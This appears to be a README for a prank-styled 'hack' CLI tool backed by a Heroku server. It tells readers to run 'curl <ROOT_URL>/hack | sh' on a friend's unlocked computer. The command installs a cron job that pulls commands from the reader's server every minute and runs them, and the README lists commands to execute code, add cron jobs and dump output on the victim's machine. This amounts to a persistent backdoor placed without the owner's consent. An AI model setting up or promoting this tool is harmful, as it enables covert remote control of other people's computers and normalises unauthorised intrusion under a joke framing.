Hack

This project helps your hack your friends. All you need to do is wait for them to leave their computer unlocked, open up Terminal, and run a single curl command.

Check out this blog post for more details about how this works or jump right in below.

Getting Started

Clone, install, and link so you can use the hack cli tool.

git clone https://github.com/ccorcos/hack.git
git remote remove origin
cd hack
npm install
npm link

If you've never used Heroku before, signup here (it's free!) and set up their cli tool on your machine.

brew install heroku-toolbelt
heroku login

Create a Heroku app with an easy name to remember.

heroku create hacker-chet

The following command will get the root url for your Heroku website and put it in your package.json. This way the server can inject a root url into the shell scripts.

npm run init

You can stand up the server locally if you want do you can hack yourself and test things out.

npm start

Or you can deploy to Heroku.

npm run deploy

Now you're ready to hack!

Infecting

To hack someone, run this in their Terminal:

curl <ROOT_URL>/hack | sh

ROOT_URL is the specific path to your application. When you're testing locally, this will be localhost:5000 and when you deploy to Heroku, it will be something like <APP_NAME>.herokuapp.com.

What this does is sets up a cron job to ping the /env/live endpoint every minute and pipes the result to sh. And Heroku gives you HTTPS for free so I wouldn't be too worried about hacking yourself with it. Everything else happens at the commandline using the hack cli tool.

API

• hack deploy - deploy your latest changes to Heroku.
• hack logs - view your server logs

The following commands are specific to environments and must be followed with a deploy for the changes to be applied to your server.

• hack <env> exec <cmd> - execute a command on the remote machine. e.g. hack live exec "say hello"
• hack <env> cron <job> - add a cronjob to the remote machine [ref]. e.g. hack live cron "0 8 * * * say 'good morning'"
• hack <env> dump <cmd> - execute a command on the remote machine and log the result.
• hack <env> preset <name> - check the source to see what presets there are and what they do.
• hack <env> interval <time> - change the ping interval. options are 1m, 1d, 1m, 1y
• hack <env> reset - reset all cronjobs and ping every minute
• hack <env> rename <name> - switch the env that gets pinged
• hack <env> forget - removed the ping cronjob to disconnect with the remote machine
